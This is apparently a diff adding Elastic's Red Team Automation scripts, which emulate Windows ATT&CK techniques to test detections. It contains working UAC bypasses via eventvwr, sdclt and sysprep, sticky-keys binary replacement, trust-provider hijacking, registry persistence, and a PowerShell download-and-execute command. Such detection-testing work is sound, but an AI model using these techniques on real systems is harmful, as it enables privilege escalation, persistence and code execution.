+# RTA: smb_connection.py
+# ATT&CK: T1105
+# Description: Initiates an SMB connection to a target machine, without going through the normal Windows APIs.
+
+import socket
+import sys
+
+from . import common
+
+SMB_PORT = 445
+
+
+@common.requires_os(common.WINDOWS)
+def main(ip=None):
+ ip = ip or common.get_ip()
+
+ # connect to rpc
+ common.log("Connecting to {}:{}".format(ip, SMB_PORT))
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.connect((ip, 445))
+ common.log("Sending HELLO")
+ s.send(b"HELLO!")
+ common.log("Shutting down the conection...")
+ s.close()
+ common.log("Closed connection to {}:{}".format(ip, SMB_PORT))
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/sticky_keys_write_execute.py b/rta/sticky_keys_write_execute.py
new file mode 100644
index 000000000..3ebb008e7
--- /dev/null
+++ b/rta/sticky_keys_write_execute.py
@@ -0,0 +1,51 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Overwrite Accessibiity Binaries
+# RTA: sticky_keys_write_execute.py
+# ATT&CK: T1015
+# Description: Writes different binaries into various accessibility locations.
+
+import os
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ # Prep
+ bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"]
+ calc = os.path.abspath("\\windows\\system32\\calc.exe")
+ temp = os.path.abspath("temp.exe")
+
+ # loop over bins
+ for bin_name in bins:
+
+ bin_path = os.path.abspath("\\Windows\\system32\\" + bin_name)
+
+ # Back up bin
+ common.copy_file(bin_path, temp)
+
+ # Change Permissions to allow modification
+ common.execute(["takeown", "/F", bin_path, "/A"])
+ common.execute(["icacls", bin_path, "/grant", "Administrators:F"])
+
+ # Copy Calc to overwrite binary, then run it
+ common.copy_file(calc, bin_path)
+ common.execute(bin_path, kill=True, timeout=1)
+
+ # Restore Original File and Permissions on file
+ common.copy_file(temp, bin_path)
+ common.execute(["icacls", bin_path, "/setowner", "NT SERVICE\\TrustedInstaller"])
+ common.execute(["icacls", bin_path, "/grant:r", "Administrators:RX"])
+ common.remove_file(temp)
+
+ # Cleanup
+ time.sleep(2)
+ common.execute(["taskkill", "/F", "/im", "calculator.exe"])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/suspicious_dll_registration_regsvr32.py b/rta/suspicious_dll_registration_regsvr32.py
new file mode 100644
index 000000000..6f9a453d9
--- /dev/null
+++ b/rta/suspicious_dll_registration_regsvr32.py
@@ -0,0 +1,21 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Suspicious DLL Registration by Regsvr32
+# RTA: suspicious_dll_registration_regsvr32.py
+# ATT&CK: T1117
+# Description: Pretends to register DLL without traditional DLL extension using RegSvr32
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Suspicious DLL Registration by Regsvr32")
+
+ common.execute(["regsvr32.exe", "-s", "meow.txt"])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/suspicious_office_children.py b/rta/suspicious_office_children.py
new file mode 100644
index 000000000..e2ff140fa
--- /dev/null
+++ b/rta/suspicious_office_children.py
@@ -0,0 +1,37 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Emulate Suspect MS Office Child Processes
+# RTA: suspect_office_children.py
+# ATT&CK: T1064
+# Description: Generates network traffic various children processes from emulated Office processes.
+
+import os
+
+from . import common
+from . import mshta_network
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ mshta_path = os.path.abspath(mshta_network.__file__.replace(".pyc", ".py"))
+
+ cmd_path = "c:\\windows\\system32\\cmd.exe"
+ binaries = ["adobe.exe", "winword.exe", "outlook.exe", "excel.exe", "powerpnt.exe"]
+ for binary in binaries:
+ common.copy_file(cmd_path, binary)
+
+ # Execute a handful of commands
+ common.execute(["adobe.exe", "/c", "regsvr32.exe", "/s", "/?"], timeout=5, kill=True)
+ common.execute(["winword.exe", "/c", "certutil.exe"], timeout=5, kill=True)
+ common.execute(["outlook.exe", "/c", "powershell.exe", "-c", "whoami"], timeout=5, kill=True)
+ common.execute(["excel.exe", "/c", "cscript.exe", "-x"], timeout=5, kill=True)
+ # Test out ancestry for mshta
+ common.execute(["powerpnt.exe", "/c", mshta_path])
+
+ common.remove_files(*binaries)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/suspicious_office_descendant_fp.py b/rta/suspicious_office_descendant_fp.py
new file mode 100644
index 000000000..3d36eac72
--- /dev/null
+++ b/rta/suspicious_office_descendant_fp.py
@@ -0,0 +1,47 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Emulate Suspect MS Office Child Processes
+# RTA: suspect_office_children.py
+# ATT&CK: T1064
+# Description: Generates various children processes from emulated Office processes.
+
+import os
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("MS Office unusual child process emulation")
+ suspicious_apps = [
+ "msiexec.exe /i blah /quiet",
+ "powershell.exe exit",
+ "wscript.exe //b",
+ ]
+ cmd_path = "c:\\windows\\system32\\cmd.exe"
+ browser_path = os.path.abspath("firefox.exe")
+ common.copy_file(cmd_path, browser_path)
+
+ for office_app in ["winword.exe", "excel.exe"]:
+
+ common.log("Emulating %s" % office_app)
+ office_path = os.path.abspath(office_app)
+ common.copy_file(cmd_path, office_path)
+
+ for command in suspicious_apps:
+ common.execute('%s /c %s /c %s' % (office_path, browser_path, command), timeout=5, kill=True)
+
+ common.log('Cleanup %s' % office_path)
+ common.remove_file(office_path)
+
+ common.log("Sleep 5 to allow processes to finish")
+ time.sleep(5)
+ common.log('Cleanup %s' % browser_path)
+ common.remove_file(browser_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/suspicious_powershell_download.py b/rta/suspicious_powershell_download.py
new file mode 100644
index 000000000..54b9603f1
--- /dev/null
+++ b/rta/suspicious_powershell_download.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Suspicious PowerShell Download
+# RTA: suspicious_powershell_download.py
+# ATT&CK: T1086
+# Description: PowerShell using DownloadString or DownloadFile in suspicious context
+
+import os
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ cmd_path = "c:\\windows\\system32\\cmd.exe"
+ server, ip, port = common.serve_web()
+ url = 'http://{}:{}/bad.ps1'.format(ip, port)
+
+ cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url),
+ "powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)]
+
+ # emulate word and chrome
+ for user_app in ["winword.exe", "chrome.exe"]:
+ common.log("Emulating {}".format(user_app))
+ user_app_path = os.path.abspath(user_app)
+ common.copy_file(cmd_path, user_app_path)
+
+ for cmd in cmds:
+ common.execute([user_app_path, "/c", cmd])
+ time.sleep(2)
+
+ # cleanup
+ common.remove_file(user_app_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/suspicious_wmic_script.py b/rta/suspicious_wmic_script.py
new file mode 100644
index 000000000..2b021535a
--- /dev/null
+++ b/rta/suspicious_wmic_script.py
@@ -0,0 +1,42 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Suspicious WMIC script execution
+# RTA: suspicious_wmic_script.py
+# Description: Uses the WMI command-line utility to execute built-in Windows commands which are unusual or unexpected.
+# Reference: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
+import os
+
+from . import common
+
+xsl_file = "test.xsl"
+xsl_content = """
+
+
+
+
+
+"""
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Executing suspicious WMIC script")
+
+ with open(xsl_file, "w") as f:
+ f.write(xsl_content)
+
+ # Many variations on this command. For example, -format:, / format : , etc
+ common.execute(["wmic.exe", "os", "get", "/format:" + xsl_file])
+
+ os.remove(xsl_file)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/suspicious_wscript_parent.py b/rta/suspicious_wscript_parent.py
new file mode 100644
index 000000000..e1759ca8f
--- /dev/null
+++ b/rta/suspicious_wscript_parent.py
@@ -0,0 +1,47 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Suspicious WScript parent
+# RTA: suspicious_wscript_parent.py
+# ATT&CK: T1064, T1192, T1193
+# Description: WScript run with suspicious parent processes
+
+import os
+import time
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ script_data = """
+ WScript.CreateObject("wscript.shell")
+ """
+ script_path = ".\\hello.vbs"
+ with open(script_path, 'w') as f:
+ f.write(script_data)
+
+ cmd_path = "c:\\windows\\system32\\cmd.exe"
+
+ for application in ["outlook.exe", "explorer.exe", "chrome.exe", "firefox.exe"]:
+ common.log("Emulating %s" % application)
+ app_path = os.path.abspath(application)
+ common.copy_file(cmd_path, app_path)
+
+ common.execute([app_path, "/c", "wscript.exe", "script_path"], timeout=1, kill=True)
+
+ common.log("Killing wscript window")
+ common.execute('taskkill /IM wscript.exe')
+
+ common.log('Cleanup %s' % app_path)
+ common.remove_file(app_path)
+
+ common.log("Sleep 5 to allow procecsses to finish")
+ time.sleep(5)
+ common.log('Cleanup %s' % script_path)
+ common.remove_file(script_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/system_restore_process.py b/rta/system_restore_process.py
new file mode 100644
index 000000000..1316b5e4d
--- /dev/null
+++ b/rta/system_restore_process.py
@@ -0,0 +1,42 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Process Execution in System Restore
+# RTA: system_restore_process.py
+# ATT&CK: T1158
+# Description: Copies mock malware into the System Volume Information directory and executes.
+
+import os
+
+from . import common
+
+SYSTEM_RESTORE = "c:\\System Volume Information"
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(common.PS_EXEC)
+def main():
+ status = common.run_system()
+ if status is not None:
+ return status
+
+ common.log("System Restore Process Evasion")
+ program_path = common.get_path("bin", "myapp.exe")
+ common.log("Finding a writeable directory in %s" % SYSTEM_RESTORE)
+ target_directory = common.find_writeable_directory(SYSTEM_RESTORE)
+
+ if not target_directory:
+ common.log("No writeable directories in System Restore. Exiting...", "-")
+ return common.UNSUPPORTED_RTA
+
+ target_path = os.path.join(target_directory, "restore-process.exe")
+ common.copy_file(program_path, target_path)
+ common.execute(target_path)
+
+ common.log("Cleanup", log_type="-")
+ common.remove_file(target_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/trust_provider.py b/rta/trust_provider.py
new file mode 100644
index 000000000..99ef62a6c
--- /dev/null
+++ b/rta/trust_provider.py
@@ -0,0 +1,50 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Trust Provider Modification
+# RTA: trust_provider.py
+# ATT&CK: T1116
+# Description: Substitutes an invalid code authentication policy, enabling trust policy bypass.
+
+from . import common
+
+FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501
+
+
+def set_final_policy(dll_path, function_name):
+ winreg = common.get_winreg()
+ hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, FINAL_POLICY_KEY)
+
+ common.log("Setting dll path: %s" % dll_path)
+ winreg.SetValueEx(hkey, "$DLL", 0, winreg.REG_SZ, dll_path)
+
+ common.log("Setting function name: %s" % function_name)
+ winreg.SetValueEx(hkey, "$Function", 0, winreg.REG_SZ, function_name)
+
+
+if common.is_64bit():
+ SIGCHECK = common.get_path("bin", "sigcheck64.exe")
+ TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll")
+else:
+ SIGCHECK = common.get_path("bin", "sigcheck32.exe")
+ TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll")
+
+TARGET_APP = common.get_path("bin", "myapp.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP)
+def main():
+ common.log("Trust Provider")
+ set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy")
+
+ common.log("Launching sigcheck")
+ common.execute([SIGCHECK, "-accepteula", TARGET_APP])
+
+ common.log("Cleaning up")
+ set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/uac_eventviewer.py b/rta/uac_eventviewer.py
new file mode 100644
index 000000000..7dacc5f54
--- /dev/null
+++ b/rta/uac_eventviewer.py
@@ -0,0 +1,44 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Bypass UAC via Event Viewer
+# RTA: uac_eventviewer.py
+# ATT&CK: T1088
+# Description: Modifies the Registry value to change the handler for MSC files, bypassing UAC.
+
+import sys
+import time
+
+from . import common
+
+
+# Default machine value:
+# HKLM\Software\Classes\MSCFile\shell\open\command\(Default)
+# %SystemRoot%\system32\mmc.exe "%1" %*
+
+
+@common.requires_os(common.WINDOWS)
+def main(target_file=common.get_path("bin", "myapp.exe")):
+ winreg = common.get_winreg()
+ common.log("Bypass UAC with %s" % target_file)
+
+ common.log("Writing registry key")
+ hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\Classes\\MSCFile\\shell\\open\\command")
+ winreg.SetValue(hkey, "", winreg.REG_SZ, target_file)
+
+ common.log("Running event viewer")
+ common.execute(["c:\\windows\\system32\\eventvwr.exe"])
+
+ time.sleep(3)
+ common.log("Killing MMC", log_type="!")
+ common.execute(['taskkill', '/f', '/im', 'mmc.exe'])
+
+ common.log("Restoring registry key", log_type="-")
+ winreg.DeleteValue(hkey, "")
+ winreg.DeleteKey(hkey, "")
+ winreg.CloseKey(hkey)
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/uac_sdclt.py b/rta/uac_sdclt.py
new file mode 100644
index 000000000..e397007d6
--- /dev/null
+++ b/rta/uac_sdclt.py
@@ -0,0 +1,41 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Bypass UAC via Sdclt
+# RTA: uac_sdclt.py
+# ATT&CK: T1088
+# Description: Modifies the Registry to auto-elevate and execute mock malware.
+
+import os
+import sys
+import time
+
+from . import common
+
+
+# HKCU:\Software\Classes\exefile\shell\runas\command value: IsolatedCommand
+# "sdclt.exe /KickOffElev" or children of sdclt.exe
+# HKLM value: "%1" %*
+
+
+@common.requires_os(common.WINDOWS)
+def main(target_process=common.get_path("bin", "myapp.exe")):
+ target_process = os.path.abspath(target_process)
+
+ common.log("Bypass UAC via Sdclt to run %s" % target_process)
+
+ key = "Software\\Classes\\exefile\\shell\\runas\\command"
+ value = "IsolatedCommand"
+
+ with common.temporary_reg(common.HKCU, key, value, target_process):
+ common.log("Running Sdclt to bypass UAC")
+ common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"])
+
+ time.sleep(2)
+ common.log("Killing the Windows Backup program sdclt", log_type="!")
+ common.execute(['taskkill', '/f', '/im', 'sdclt.exe'])
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/uac_sysprep.py b/rta/uac_sysprep.py
new file mode 100644
index 000000000..0c49c374f
--- /dev/null
+++ b/rta/uac_sysprep.py
@@ -0,0 +1,24 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Bypass UAC via Sysprep
+# RTA: uac_sysprep.py
+# ATT&CK: T1088
+# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass
+
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Bypass UAC with CRYPTBASE.dll")
+
+ common.copy_file("C:\\windows\\system32\\kernel32.dll", "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
+ common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True)
+ common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/uncommon_persistence.py b/rta/uncommon_persistence.py
new file mode 100644
index 000000000..34915d2bd
--- /dev/null
+++ b/rta/uncommon_persistence.py
@@ -0,0 +1,73 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Uncommon Registry Persistence Change
+# RTA: uncommon_persistence.py
+# ATT&CK: T1112
+# Description: Modifies the Registry for Logon Shell persistence using a mock payload.
+
+import sys
+
+from . import common
+
+# There are many unconventional ways to leverage the Registry for persistence:
+
+'''
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\IconServiceLib" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppSetup" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Taskman" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\VmApplet" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell" or
+key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script" or
+key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script" or
+key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script" or
+key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script" or
+key_path == "*\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\*\\ShellComponent" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect\\MicrosoftActiveSync" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect\\MicrosoftActiveSync" or
+key_path == "*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath" or
+key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec" or
+key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\*" or
+key_path == "*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\VerifierDlls" or
+key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GpExtensions\\*\\DllName" or
+key_path == "*\\SOFTWARE\\Microsoft\\Office Test\\Special\\Perf\\" or
+(key_path == "*\\System\\ControlSet*\\Control\\SafeBoot\\AlternateShell" and bytes_written_string != "cmd.exe") or
+key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms" or
+key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram" or
+key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\BootExecute" or
+key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\SetupExecute" or
+key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\Execute" or
+key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\S0InitialCommand" or
+key_path == "*\\System\\ControlSet*\\Control\\ServiceControlManagerExtension" or
+key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\AppCertDlls\\*" or
+key_path == "*\\System\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath" or
+key_path == "*\\System\\Setup\\CmdLine"
+)
+''' # noqa: E501
+
+
+@common.requires_os(common.WINDOWS)
+def main(target="calc.exe"):
+ winreg = common.get_winreg()
+ hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon")
+
+ common.log("Setting reg key")
+ winreg.SetValueEx(hkey, "Userinit", 0, winreg.REG_SZ, target)
+
+ common.log("Setting reg key", log_type="-")
+ winreg.DeleteValue(hkey, "Userinit")
+ winreg.CloseKey(hkey)
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[:1]))
diff --git a/rta/unusual_ms_tool_network.py b/rta/unusual_ms_tool_network.py
new file mode 100644
index 000000000..a26303573
--- /dev/null
+++ b/rta/unusual_ms_tool_network.py
@@ -0,0 +1,56 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Unexpected Network Activity from Microsoft Tools
+# RTA: unusual_ms_tool_network.py
+# ATT&CK: T1127
+# Description: Creates network traffic from a process which is named to match common administration and developer tools
+# that do not typically make network traffic unless being used maliciously.
+
+import os
+import shutil
+import sys
+
+from . import common
+
+if sys.version_info > (3,):
+ urlliblib = "urllib.request"
+else:
+ urlliblib = "urllib"
+
+process_names = [
+ "bginfo.exe",
+ "msdt.exe",
+ "ieexec.exe",
+ "cdb.exe",
+ "dnx.exe",
+ "rcsi.exe",
+ "csi.exe",
+ "cmstp.exe",
+ "xwizard.exe",
+ "fsi.exe",
+ "odbcconf.exe"
+]
+
+
+def http_from_process(name, ip, port):
+ path = os.path.join(common.BASE_DIR, name)
+ common.log("Making HTTP GET from %s" % path)
+ shutil.copy(sys.executable, path)
+ common.execute([path, "-c", "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port)])
+ common.remove_file(path)
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ server, ip, port = common.serve_web()
+
+ for process in process_names:
+ http_from_process(process, ip, port)
+
+ server.shutdown()
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/unusual_parent_child.py b/rta/unusual_parent_child.py
new file mode 100644
index 000000000..0b7f09d4f
--- /dev/null
+++ b/rta/unusual_parent_child.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Invalid Process Trees in Windows
+# RTA: unusual_parent_child.py
+# ATT&CK: T1093
+# Description: Runs several Windows core processes directly, instead of from the proper parent in Windows.
+
+import os
+import sys
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Running Windows processes with an unexpected parent of %s" % os.path.basename(sys.executable))
+ process_names = [
+ # "C:\\Windows\\System32\\smss.exe", BSOD (avoid this)
+ # "C:\\Windows\\System32\\csrss.exe", BSOD (avoid this)
+ # "C:\\Windows\\System32\\wininit.exe", BSOD (avoid this)
+ # "C:\\Windows\\System32\\services.exe", BSOD (avoid this)
+ "C:\\Windows\\System32\\winlogon.exe",
+ "C:\\Windows\\System32\\lsass.exe",
+ "C:\\Windows\\System32\\taskhost.exe", # Win7
+ "C:\\Windows\\System32\\taskhostw.exe", # Win10
+ "C:\\Windows\\System32\\svchost.exe",
+ ]
+
+ for process in process_names:
+ # taskhostw.exe isn't on all versions of windows
+ if os.path.exists(process):
+ common.execute([process], timeout=2, kill=True)
+ else:
+ common.log("Skipping %s" % process, "-")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/user_dir_escalation.py b/rta/user_dir_escalation.py
new file mode 100644
index 000000000..f1884cfa3
--- /dev/null
+++ b/rta/user_dir_escalation.py
@@ -0,0 +1,38 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: SYSTEM Escalation from User Directory
+# RTA: user_dir_escalation.py
+# ATT&CK: T1044
+# Description: Spawns mock malware written to a regular user directory and executes as System.
+
+import os
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(common.PS_EXEC)
+def main():
+ # make sure path is absolute for psexec
+ status = common.run_system()
+ if status is not None:
+ return status
+
+ common.log("Run a user-writeable file as system")
+ source_path = common.get_path("bin", "myapp.exe")
+
+ target_directory = "c:\\users\\fake_user_rta-%d" % os.getpid()
+ if not os.path.exists(target_directory):
+ os.makedirs(target_directory)
+
+ target_path = os.path.join(target_directory, "user_file.exe")
+ common.copy_file(source_path, target_path)
+ common.execute([target_path])
+
+ common.remove_directory(target_directory)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/vaultcmd_commands.py b/rta/vaultcmd_commands.py
new file mode 100644
index 000000000..76df13584
--- /dev/null
+++ b/rta/vaultcmd_commands.py
@@ -0,0 +1,23 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: Searching Credential Vaults via VaultCmd
+# RTA: vaultcmd_commands.py
+# ATT&CK: T1003
+# Description: Lists the Windows Credential Vaults on the endpoint
+
+import sys
+
+from . import common
+
+
+@common.requires_os(common.WINDOWS)
+def main():
+ common.log("Searching Credential Vaults via VaultCmd")
+
+ common.execute(["vaultcmd.exe", "/list"])
+
+
+if __name__ == "__main__":
+ exit(main(*sys.argv[1:]))
diff --git a/rta/werfault_persistence.py b/rta/werfault_persistence.py
new file mode 100644
index 000000000..51205d5a2
--- /dev/null
+++ b/rta/werfault_persistence.py
@@ -0,0 +1,47 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
+# Name: WerFault.exe Persistence
+# RTA: werfault_persistence.py
+# ATT&CK: T1112
+# Description: Sets an executable to run when WerFault is run with -rp flags and runs it
+
+import time
+
+from . import common
+
+MY_APP = common.get_path("bin", "myapp.exe")
+
+
+@common.requires_os(common.WINDOWS)
+@common.dependencies(MY_APP)
+def main():
+ reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'"
+ reg_name = "ReflectDebugger"
+
+ commands = ["C:\\Windows\\system32\\calc.exe",
+ "'powershell -c calc.exe'",
+ MY_APP]
+
+ for command in commands:
+ common.log("Setting WerFault reg key to {}".format(command))
+ common.execute(["powershell", "-c", "New-ItemProperty", "-Path", reg_key,
+ "-Name", reg_name, "-Value", command], wait=False)
+ time.sleep(1)
+
+ common.log("Running WerFault.exe -pr 1")
+ common.execute(["werfault", "-pr", "1"], wait=False)
+ time.sleep(2.5)
+
+ common.execute(["powershell", "-c", "Remove-ItemProperty", "-Path", reg_key, "-Name", reg_name])
+
+ common.log("Cleaning up")
+
+ common.execute(["taskkill", "/F", "/im", "calc.exe"])
+ common.execute(["taskkill", "/F", "/im", "calculator.exe"])
+ common.execute(["taskkill", "/F", "/im", "myapp.exe"])
+
+
+if __name__ == '__main__':
+ exit(main())
diff --git a/rta/wevtutil_log_clear.py b/rta/wevtutil_log_clear.py
new file mode 100644
index 000000000..1cbb04ad1
--- /dev/null
+++ b/rta/wevtutil_log_clear.py
@@ -0,0 +1,27 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License;
+# you may not use this file except in compliance with the Elastic License.
+
